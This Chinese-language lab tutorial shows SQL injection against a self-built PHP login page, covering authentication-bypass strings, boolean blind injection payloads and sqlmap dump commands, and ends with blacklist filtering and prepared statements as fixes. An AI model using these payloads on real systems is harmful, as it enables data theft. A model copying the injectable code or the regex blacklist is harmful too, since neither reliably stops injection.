xiao1star2024-07-12文章来源:SecHub网络安全社区
UNION
操作符用于合并两个或多个SELECT
语句的结果集,形成一个新的结果集,所有查询的列数必须相同。后端代码
<?php
$user=$_GET['name'];
$password=$_GET['password'];
$conn=mysqli_connect('127.0.0.1','test','123456','test');
$sql="select * from users where username='$user' and password='$password'";
$result=mysqli_query($conn,$sql);
$row=mysqli_fetch_array($result);//函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有。返回与读取行匹配的字符串数组。如果结果集中没有更多的行则返回 NULL。
if($row==null){
echo "登录失败";
echo '<script>alert("登录失败")</script>';
}
else{
echo"登录成功";
echo '<script>alert("登录成功")</script>';
}
?>
前端代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>star</title>
</head>
<style>
h1{
color: red;
text-align: center;
font-size: 29xp;
font-family: 'Franklin Gothic Medium', 'Arial Narrow', Arial, sans-serif;
}
.form{
text-align: center;
background-color: greenyellow;
}
</style>
<body>
<h1>登录</h1>
<form class="form" action="./login.php" method="get">
账号:<input type="text" name="name"><br>
密码:<input type="password" name="password"><br>
<input type="submit">
</form>
<script>alert("欢迎登录")</script>
</body>
</html>
在登录框的账号中输入如下内容
admin' and 1=1#
' or 1=1#
成功完成闭合登录成功
发现没有回显位,因此无法进行union联合注入,无法进行报错注入没有mysql_error进行报错的显示
可以通过布尔注入和时间盲注来获取库名和表名
通过布尔盲注,在登录框中输入如下信息来获取test数据库中表的信息
admin' order by 8#
admin' and length((select table_name from information_schema.tables where table_schema='test' limit 0,1))=5;
成功得到表的长度
使用yakit对表名的每个字母进行ascii码报错
admin' and ascii(SUBSTR((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))=117#---表示test库下第一个表名的第一个字母进行爆破
admin' and ascii(SUBSTR((select table_name from information_schema.tables where table_schema='test' limit 0,1),2,1))=117#---表示test库下第一个表名的第二个字母进行爆破
得到一个字母是115对应的是s
类似这样对5个字母依次爆破得到表名为users
admin' and length((select column_name from information_schema.COLUMNS where table_name='users' limit 0,1))=2#---对第一个字段名的长度爆破
admin' and ascii(substr((select column_name from information_schema.COLUMNS where table_name='users' limit 0,1),1,1))=105;--对第一个字段名的第一给字母爆破
最后得到8个字段名分别是id,name,username,password,gender,phone,imageAddress,isadmin
admin' and ascii(substr((select username from users limit 0,1),1,1))=122#---username的第一个数据的第一个字母进行爆破,得到z
admin' and ascii(substr((select username from users limit 0,1),1,1))=104# --username的第一个数据的第二个字母进行爆破得到h
依次爆破即可得到数据库中的所有数据
1.库名
sqlmap.py -u "http://127.0.0.1:81/login.php?name=admin%27+and+1%3D1%23&password=" --dbs
2.表名
python sqlmap.py -u "http://127.0.0.1:81/login.php?name=&password=" -D test --tables --batch
3.字段名
python sqlmap.py -u "http://127.0.0.1:81/login.php?name=&password=" -D test -T users -columns --batch
4.数据
python sqlmap.py -u "http://127.0.0.1:81/login.php?name=&password=" -D test -T users -C "use
rname,password" --dump --batch
我们后端并没有对前端传过来的参数进行验证,所以导致了恶意sql代码的执行,所以可以通过对例如单引号'
,反斜杠/
,敏感字符or,and
等敏感词进行过滤
<?php
$user=$_GET['name'];
$password=$_GET['password'];
$conn=mysqli_connect('127.0.0.1','test','123456','test');
// 使用白名单进行输入用户名和密码验证
$whitepattern="/^[a-z\d]*$/i"; // 构造的白名单正则表达式,只允许输入的内容是字符串和数字的组合
$blackpattern="/\*|'|\"|#|;|,|or|\^|=|<|>|and|union|substr/i";
// 构造的黑名单正则表达式
if(preg_match($blackpattern, $user)){ // preg_match:使用正则表达式对字符串进行正则匹配
die('illegal input! 用户名中包含敏感词汇!');
}
if(!preg_match($whitepattern, $password)){
die('illegal input! 密码中包含敏感词汇!');
}
$sql="select * from users where username='$user' and password='$password'";
$result=mysqli_query($conn,$sql);
// var_dump($result);
$row=mysqli_fetch_array($result);
// var_dump ($row);
if($row==null){
echo "登录失败";
echo '<script>alert("登录失败")</script>';
}
else{
echo"登录成功";
echo '<script>alert("登录成功")</script>';
}
?>
测试
<?php
if(isset($_GET['name']) && isset($_GET['password'])&& $_GET['name']!='' && $_GET['password']!=''){
$user=$_GET['name'];
$password=$_GET['password'];
$conn=new mysqli('127.0.0.1','test','123456','test');//创建一个数据库连接对象
$sql="select * from users where username=? and password=?";//?为占位符
$action=$conn->prepare($sql);//进行预处理操作
$action->bind_param("ss",$user,$password);//进行参数绑定,第一个参数表示占位符的个数,s表示字符串,i为×××,d为双精度小数,有几个占位符就写几个
$action->execute();//执行sql操作
$result=$action->get_result();
if($result->num_rows<=0){
echo "登录失败";
echo '<script>alert("登录失败")</script>';
}
else{
echo"登录成功";
echo '<script>alert("登录成功")</script>';
}
$action->close();
$conn->close();
}
else{
echo "用户名或密码不能为空";
}
?>
测试
使用sqlmap也无法扫出sql注入漏洞